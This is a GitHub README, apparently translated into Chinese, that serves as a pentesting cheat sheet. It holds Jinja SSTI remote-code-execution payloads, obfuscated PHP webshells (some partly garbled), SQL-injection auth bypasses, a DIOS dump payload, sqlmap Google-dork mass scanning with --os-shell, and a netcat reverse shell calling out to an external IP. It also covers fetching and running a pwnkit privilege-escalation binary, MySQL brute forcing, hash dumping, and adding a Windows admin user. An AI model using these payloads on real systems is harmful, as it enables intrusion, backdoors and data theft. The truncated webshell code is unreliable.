kaitolegion/pentest

GitHub: kaitolegion/pentest

渗透测试实战命令速查手册,整合 Web 攻击、密码破解、提权、内网渗透等常用技巧

Stars: 1 | Forks: 1

# 什么是 Pentest 或 Penetration Testing "P3nt3st" 是 penetration test(渗透测试)或 penetration testing 的简称,是一种通过模拟恶意黑客攻击来评估计算机系统、网络或应用程序安全性的方法。渗透测试的主要目标是识别目标系统或应用程序中的漏洞,以便在真正的攻击者利用它们之前进行修复和缓解。 # SSTI - Jinja ``` # 检查漏洞 {{7*7}} # SSTI RCE {{config.__class__.__init__.__globals__['os'].popen('ls /').read()}} # 插入文件 {{config.__class__.__init__.__globals__['os'].popen('echo "hakdog" > k.txt').read()}} ``` # PHP Backdoorz (PHP Webshell) ``` # 绕过 PHP w3bshellz # 用法:/shell.php?0=ls # 用法:curl -X POST /shell.php -d "0=ls" # 用法:/shell.php?_=ls 或 curl -X POST /shell.php -d "_=ls" # 用法:/shell.php?0=ls OBFUSCATION OF # 信息:非字母数字混淆 PHP Web Shell # 用法:/shell.php?_=function&__=argument 例如 (/shell.php?_=system&__=ls) ;").($_^"/"); ?> # 信息:简单 PHP Webshell 的另一个混淆示例 # 用法:/shell.php?0=function&1=argument 例如 (/shell.php?0=system&1=ls) /')};$_[0]($_[1]); ?> ;').('{'^'/')};$_[0]($_[1]); ?> # 信息:如果 system、exec 等函数被禁用,我们可以使用 var_dump 或 print_r # 用法:/shell.php?0=function1... 例如 (/shell.php?0=var_dump&1=scandir&2=.) (/shell.php?0=print_r&1=file_get_contents&2=/etc/passwd) /')};$_[0]($_[1]($_[2])); ?> ;').('{'^'/')};$_[0]($_[1]($_[2])); ?> # 信息:无空格混淆 PHP Web Shell # 用法:/shell.php?0=function&1=argument 例如 (/shell.php?0=system&1=ls) /')};$_[0]($_[1]);?> # 信息:如果 system、exec 等函数被禁用,我们可以使用 var_dump 或 print_r # 用法:/shell.php?0=function1... 例如 (/shell.php?0=print_r&1=glob&2=*) /')};$_[0]($_[1]($_[2]));?> # 信息:无空格和非字母数字混淆 PHP Web Shell # 用法:/shell.php?__=function&___=argument 例如 (/shell.php?__=system&___=ls) /')};$_['__']($_['___']);?> ``` # Hydra - 暴力破解 mysql 用户名/密码 ``` hydra -L user.txt -P pass.txt mysql ``` ## Linux 命令 获取 root 权限 ``` kaito@user~$ su - ``` 获取 'linuxuser' 用户权限 ``` root@user~$ su - linuxuser ``` 更改用户密码 ``` kaito@linuxuser~$ passwd Changing password for linuxuser. Current password: ``` ``` # 检查强信号 mbps/gbps iwconfig # 检查 CPU implementer lscpu ``` ## 使用 Raspberry Pi 设置 Wifi 热点 ``` # 安装 hostapd & dnsmasq sudo apt install hostapd sudo apt install dnsmasq # 配置 cd /etc/default # 创建热点配置 cat /etc/hostapd/hostapd.conf # 网络管理器配置 cat /etc/dnsmasq.conf # 重启 hostapd 或 dnsmasq sudo systemctl restart hostapd sudo systemctl restart dnsmasq ``` ## 生成 Shell ``` python -c 'import pty; pty.spawn("/bin/sh")' ``` ``` python3 -c 'import pty; pty.spawn("/bin/sh")' ``` ``` echo os.system('/bin/bash') ``` ``` /bin/sh -i ``` ``` perl -e 'exec "/bin/sh";' ``` ``` xec "/bin/sh"; ``` ## 导出 ``` export SHELL=bash ``` ``` export TERM=xterm ``` ``` export TERM=xterm256-color ``` ## 隐写术 (Steganography) https://futureboy.us/stegano/ ## GTFObins https://gtfobins.github.io ## CyberChef https://gchq.github.io/CyberChef/ ## 使用 pwnkit exploit - 转到你的本地机器 - wget https://github.com/kaitolegion/pentest/pwnkit -O pwnkit - sudo python3 -m http.server 80 - 转到目标机器 - wget http://your_ip:80/pwnkit - chmod +x pwnkit - ./pwnkit ## 使用 linpeas - 用法与 pwnkit 相同 - 只需更改 - wget https://github.com/kaitolegion/pentest/pwnkit -O pwnkit - 为 - https://github.com/kaitolegion/pentest/linpeas.sh -O linpeas.sh - 然后你就可以开始了 ## 使用 John the Ripper 破解 sha-512 加密 ``` john --wordlist=your_wordlist_here your_hash.txt ``` ## 生成 sha-512 密码加密 ``` mkpasswd -m sha-512 your_new_password ``` ## 从本地传输文件到目标机器 使用 (scp) ``` # 从本地传输到远程 scp file_here.txt username@10.10.24.48:/home/user/ scp -r /directory user@your_vps_ip:/home/username/ # 从远程下载到本地 scp file.txt username@10.10.24.48:/home/user/remote ~/home/user/local ``` 使用 (rsync) ``` rsync -avh --progress [folder_here] [username]@192.168.0.1:/tools ``` ## Lucian Nitescu | 反向 Shell (Reverse Shell) ``` touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.206.128 1337 > /tmp/f ``` ``` nc -lvnp 1337 ``` ## 使用 Hashcat 破解 md5 加密 ``` # 破解 md5 hashcat -a 0 -m 1600 pass.txt ~/wordlist/rockyou.txt # 加密 sha512 echo -n kaito | sha512sum # 破解 sha512 hashcat -a 0 -m 1700 rockyou.txt ``` ## Nmap | Nmap 参数 | 描述 | | ------------- | ------------- | | -sV | 尝试确定运行服务的版本 | | -p 1-1000 or -p- | 端口扫描指定端口或扫描所有端口 | | -Pn | 禁用主机发现并扫描开放端口 | | -A | 启用 OS 和版本检测,执行内置脚本进行进一步枚举 | | -sC | 使用默认 Nmap 脚本进行扫描 | | -v | 详细模式 | | -vv | 详细模式 2 | | -sU | UDP 端口扫描 | | -sS | TCP SYN 端口扫描 | | --script vuln | 扫描 NSE 中包含的漏洞检测 | | --script=mysql-brute | 对 MySQL 执行密码猜测。 | ``` # 操作系统检测 nmap -O # 运行服务检测 nmap -sV # MySQL 枚举 nmap -p 3306 --script mysql-enum.nse # MySQL 暴力破解认证尝试默认凭据 nmap -p 3306 --script mysql-empty-password.nse # 默认 nmap -sV -sC -sT # 暴力破解 MYSQL 用户和密码 nmap -p 3306 --script=mysql-brute --script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt # 获取 MySQL 信息 nmap --script=mysql-info # 使用 nmap 登录 MySql nmap -p3306 --script=mysql-users --script-args mysqluser=root,mysqlpass=toor # 检索数据库名称 nmap -p3306 --script=mysql-databases --script-args mysqluser=root,mysqlpass=toor # 显示数据库 nmap -p 3306 --script=mysql-query --script-args "query=show databases,username=root,password=toor" # 检索 hash 转储 nmap -p3306 --script=mysql-dump-hashes --script-args username=root,password=toor ``` # TMUX - 安装 'tmux' ``` # 使用 ubuntu 安装 sudo apt-get install tmux # 使用 mac 安装 brew install tmux ``` ``` # 显示活动会话列表 tmux ls # 创建命名新会话 tmux new -s kaito # 重命名会话 tmux rename-session -t kaito # 导航会话 tmux a -t kaito # tmux 快捷键 # 关闭 tmux 终端 CTRL + B + D # 添加 tmux 面板 CTRL + B + % ``` ## SQLi BYPASS AUTH (绕过认证) ``` or 1-- -' or 1 or '1"or 1 or" ``` ``` 'or''=' ``` ## SQLMAP - Google Dorking ``` python3 sqlmap.py -g "inurl:php?id= site:com" ``` - 获取数据库名称 ``` python3 sqlmap.py -u https://target.com/index.php?id=3 --dbs --batch --thread=5 ``` - 转储表 ``` python3 sqlmap.py -u https://target.com/index.php?id=3 -D database_here --tables --batch ``` - 转储列和数据 ``` python3 sqlmap.py -u https://target.com/index.php?id=3 --dump -D database_here -T table_here --batch ``` - 绕过 WAF ``` python3 sqlmap.py -u https://target.com/index.php?id=3 --dbs --level 5 risk 3 --batch ``` - 通过 POST 方法发送注入 ``` python3 sqlmap.py -u https://target.com/index.php --data=id=3 --dbs --level 5 risk 3 --batch ``` - 获取交互式 OS shell ``` python3 sqlmap.py -u https://target.com/index.php?id=3 --os-shell ``` - 注入 dbms=Mysql ``` python3 sqlmap.py -u --dbms=mysql --batch --threat=5 ``` ### 用法 | sqlmap 参数 | 描述 | | ------------- | ------------- | | -a, --all | 获取所有内容 | | -u, --url | 目标 URL | | -b, --banner | 获取 DBMS 横幅 | | --current-user | 获取 DBMS 当前用户 | | -current-db | 获取 DBMS 当前数据库 | | -passwords | 枚举 DBMS 用户密码哈希 | ## 检查 SMB 漏洞 RCE ``` nmap -sV -sC -sT --script=smb-vuln* target_ip/target_website ``` ## 搜索所有 SUID 文件 ``` find / -user root -perm -400 -exec ls -ldb {} \; ``` ## 安装 Haiti Haiti - 是一个 CLI 工具,用于识别给定哈希的哈希类型 ``` gem install haiti-hash ``` ## 密码学 (Cryptography) - 算法与 Base64 相同但不完全是 base64 链接: https://www.devglan.com/online-tools/text-encryption-decryption ## 设置 Windows Server RDP 的用户/密码 ``` net user otiak pass123 /add ``` ``` net localgroup administrator otiak /add ``` ### Grep 所有文件内容 'Passwords.txt' ``` find . -type f -name Passwords.txt -exec grep -A 2 'wp-login.php' {} \; ``` ### 将 python3 符号链接到 python ``` sudo ln -s /usr/bin/python3.4 /usr/bin/python ``` # 2024 新内容 ### 安装 dnsx ``` apt install golang-go ``` ``` echo 'export PATH=$PATH:$HOME/go/bin' >> ~/.bashrc source ~/.bashrc ``` ``` GO111MODULE=on go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest ``` ``` dnsx -h ``` ### 安装 httpx 与 dnsx 相同 ``` GO111MODULE=on go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest ``` # DIOS - Sqli ``` Concat(0x3c7363726970743e646f63756d656e742e7469746c653d2244494f53204279204d722e4b6169746f58223b3c2f7363726970743e3c6c696e6b2072656c3d227374796c6573686565742220687265663d2268747470733a2f2f6d617863646e2e626f6f74737472617063646e2e636f6d2f626f6f7473747261702f342e332e312f6373732f626f6f7473747261702e6d696e2e637373223e3c63656e7465723e3c696d67207372633d2268747470733a2f2f692e6962622e636f2f6d4e4e574c79782f494d472d32303139313032382d3230333130372d3938372e6a70672220636c6173733d226d782d6175746f20642d626c6f636b20696d672d666c75696422207469746c653d226d722e6b6169746f782220616c743d226d722e6b6169746f7822207374796c653d2277696474683a2032303070783b206865696768743a20323030707822202f3e3c2f63656e7465723e3c683220636c6173733d22746578742d63656e74657220746578742d64616e676572223e3c623e44494f53204279204d722e4b6169746f583c2f623e3c2f68323e3c63656e7465723e3c736d616c6c3e3c623e446174653a,NOW(),0x3c2f623e3c2f736d616c6c3e3c2f63656e7465723e3c62723e3c64697620636c6173733d227461626c652d726573706f6e73697665223e3c7461626c6520636c6173733d227461626c65207461626c652d73747269706564207461626c652d626f726465726564207461626c652d686f766572223e3c74723e3c746820636f6c7370616e3d22322220636c6173733d22746578742d63656e7465722062672d6461726b20746578742d7768697465223e496e666f726d6174696f6e20476174686572696e673c2f74683e3c2f74723e3c74723e3c74643e486f7374204e616d653a3c2f74643e3c74643e,@@hostname,0x3c2f74643e3c2f74723e3c74723e3c74643e44617461626173653a3c2f74643e3c74643e,database(),0x3c2f74643e3c2f74723e3c74723e3c74643e557365723a3c2f74643e3c74643e,current_user(),0x3c2f74643e3c2f74723e3c74723e3c74643e4f7065726174696f6e2073797374656d3c2f74643e3c74643e,@@version_compile_os,0x3c2f74643e3c2f74723e3c74723e3c74643e56657273696f6e3a3c2f74643e3c74643e,version(),0x3c2f74643e3c2f74723e3c74723e3c74643e506f72743a3c2f74643e3c74643e,@@port,0x3c2f74643e3c2f74723e3c74723e3c74643e44617461204469723a3c2f74643e3c74643e,@@datadir,0x3c2f74643e3c2f74723e3c74723e3c74643e53796d6c696e6b3a3c2f74643e3c74643e,@@GLOBAL.have_symlink,0x3c2f74643e3c2f74723e3c74723e3c74643e53534c3a3c2f74643e3c74643e,@@GLOBAL.have_ssl,0x3c2f74643e3c2f74723e3c74723e3c74643e50726976696c65676573202f20696e74726f206f757466696c6520636865636b3c2f74643e3c74643e,(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),0x3c2f74643e3c2f74723e3c2f7461626c653e3c62723e3c7461626c6520636c6173733d227461626c65207461626c652d73747269706564207461626c652d626f726465726564207461626c652d686f766572223e3c74723e3c746820636f6c7370616e3d22322220636c6173733d22746578742d63656e7465722062672d6461726b20746578742d7768697465223e44554d5020444154413c2f74683e3c2f74723e3c74723e3c746820636c6173733d22746578742d63656e7465722062672d6461726b20746578742d7768697465223e5461626c65204e616d653c2f74683e3c746820636c6173733d22746578742d63656e7465722062672d6461726b20746578742d7768697465223e4669656c64204e616d653c2f74683e3c2f74723e3c74723e,(select(@x)from(select(@x:=0x00),(select(0)/*!From*/(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat (@x,0x3c74723e3c74643e,table_name,0x3c2f74643e3c74643e,column_name))))x),0x3c2f74723e3c2f7461626c653e3c2f6469763e3c63656e7465723e3c7374726f6e673e4372656174652042792052697a737961642041523c2f7374726f6e673e3c2f63656e7465723e3c62723e203c212d2d) ``` # 使用终端检查大小 检查当前路径下的总大小 ``` du -sh . ``` 查找大尺寸目录 ``` du -h . | grep '^[0-9.]*G' ```
标签:CISA项目, CTI, DNS 反向解析, Jinja2, PHP木马, RuleLab, SSTI注入, Webshell, Web报告查看器, 免杀混淆, 命令执行, 应用安全, 攻击向量, 数据展示, 日志审计, 红队, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护